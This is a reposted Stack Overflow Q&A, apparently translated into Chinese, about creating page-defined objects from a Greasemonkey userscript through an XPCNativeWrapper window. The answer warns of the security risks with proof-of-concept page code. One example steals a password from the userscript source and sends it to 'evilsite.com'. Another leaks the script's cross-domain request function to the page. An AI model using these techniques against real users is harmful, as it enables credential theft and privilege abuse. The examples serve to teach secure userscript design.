gpt4 book ai didi

javascript - 如何使用远程页面的构造函数在我的 Greasemonkey UserScript 中创建对象?

转载 作者:搜寻专家 更新时间:2023-11-01 04:39:00 26 4
gpt4 key购买 nike

我的用户脚本将在其上运行的页面有一个命名空间,该命名空间定义了一个构造函数。我想使用相同的构造函数创建一个对象,并在我的用户脚本中使用该对象的方法。到目前为止,我一直没有成功。这就是我想要做的。

该页面具有以下 native javascript block :

var namespace={ constructor : function(){
this.sum = function(value1,value2){
alert(value1+value2);
}
}
}

像这样使用:

var pageObject=new namespace.constructor();
pageObject.sum(1,2);

在我的用户脚本中,我打算创建一个类似于 pageObject 的对象,并使用我自己的参数从中调用 sum。

我已尝试执行以下操作:

var greaseNameSpace = unsafeWindow.namespace;
var greaseObject = new greaseNameSpace.constructor();
greaseObject.sum(1,2);

没有运气,尽管 greaseNameSpace 存在,甚至 greaseNameSpace.constructor 是一个有效的函数,使用新的 greaseNameSpace.constructor() 会产生未定义的结果。

还尝试了以下:

var greaseObject =new unsafeWindow.namespace.constructor();

greaseObject 仍然未定义。

我在这里找到了一个话题 How can I create an object of a class which is defined in the remote page?

但是它使用了 eval,我想知道这是否是正确的方法?

我们将不胜感激 :) 谢谢!!

最佳答案

我找到了解决问题的方法。但是请小心使用此方法:当您部分/错误地实现此代码时,您将打开一个潜在的安全漏洞。

下面的代码获得了一个window对象,没有unsafeWindow的模糊限制。在此 window 对象的范围内执行的任何代码如果是实际页面的一部分,就会正常运行,类似于 Google Chrome 扩展程序中的内容脚本。

代码

// ==UserScript==
// @name http://stackoverflow.com/q/4804765
// @namespace Rob W
// @include file:///tmp/test.html*
// ==/UserScript==

//Get a window object which is less restricted than unsafeWindow
var $_WINDOW = new XPCNativeWrapper(window, "")
.getInterface(Components.interfaces.nsIDOMWindow);

//Create an anonymous function wrapper for security
(function(){
var obj = new $_WINDOW.namespace.constructor;
obj.sum(4,5);

}).call($_WINDOW)

安全考虑

  • 将使用此 window 对象的方法/变量的代码包装在一个函数中,这样就不会产生危险的漏洞。不允许此函数包装器根据用户输入执行随机代码。
  • 请参阅示例 3 以了解实现 $_WINDOW 的正确方法

示例/概念验证

下面,我将展示以危险方式实现 $_WINDOW 对象的可能情况。很明显,“//page”处的代码不是GM脚本的开发者所期望的。
注意:一些示例(例如示例2)可能对安全有用(本地)基于 Web 的应用程序(例如,在 file:/// 协议(protocol)中)。
示例 3 显示了使用 $_WINDOW 的正确方法。

我使用神奇的 __defineGetter__ 函数来检测对变量的调用,因为大多数脚本开发人员不知道此功能。直接调用函数也会触发有害代码;

主要原因在于arguments.callee.caller。在函数内部,此对象将引用调用当前函数的函数。使用unsafeWindow时,无法调用arguments.callee.caller变量。然后该函数将显示为 function SJOWContentBoundary{ [native code]}。但是,当使用 $_WINDOW 时,真正的 GM 函数是可见的,并且可以被远程页面调用。

示例 1:从 GreaseMonkey 脚本中读取(敏感的)数据

//GreaseMonkey:
var password = "password";
alert($_WINDOW.namespace.Var); //Seemingly harmless?

//Page:
var namespace = {Var:1};
namespace.__defineGetter__("Var", function(){
var gm_function = arguments.callee.caller;
var password = gm_function.toString().match(/var password = "(.*?)";\n/);
(new Image).src = "http://evilsite.com/stealpassword.php?p=" + password[0];
})

示例 2:将跨域 XMLHttpRequest 方法泄漏到任意页面。
此 GM 脚本的创建者旨在根据哈希更改修改页面。但是,通过在更改 URL/回调的函数中包含一个检查(页面是否应该受到影响),一个漏洞就产生了。

//GreaseMonkey:
var base_url, callback;
function checkExistent(url, func){
base_url = url;
callback = func;
return typeof $_WINDOW.some_var != "undefined"; //<---Leaked!
}
var isExistent = checkExistent("http://example.com/load?h=", function(res){
alert(res.responseText);
});
var lastHash = unsafeWindow.location.hash.substr(1);
if(confirm(isExistent)){
window.setInterval(function(){ //Create poller to detect hash changes
var newHash = unsafeWindow.location.hash.substr(1);
if(lastHash != newHash){
GM_xmlhttpRequest({method:"GET",
"url": base_url + newHash, onload:callback});
lastHash = newHash;
}
}, 300);
}

//Page
var step = 0, xhr;
window.__defineGetter__("some_var", function(){
if(!step++){ //Define the xhr first time
xhr = function(url, callback){
arguments.callee.caller(url, callback);
// = function checkExistent(url, callback) !!!!
location.hash += "."; //Edit hash to trigger XHR
}
}
return step;
});

示例 3:正确使用
应该定义变量 getter,以便不能发出任意请求。函数不应接受变量。如果仍然有必要,请将 getter 包装在匿名函数中。

//GM:
function getUserdata(){
//Get a string from a page. Wrap the string in a new String object,
// to make sure that no evil properties/methods are defined
return String($_WINDOW.variable);
}

//Method 2
//The developer of the GM script has to define a correct wrapper for type:
// String, Number, Boolean, ...
function getRandomVariable(type, name){
var variable = (function(){ //No arguments, no hazards
return $_WINDOW[name];
})();
return type(variable);
}
getRandomVariable(String, "variable");

//Page:
var variable = "There's no way to abuse this GM bridge.";

关于javascript - 如何使用远程页面的构造函数在我的 Greasemonkey UserScript 中创建对象?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/4804765/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com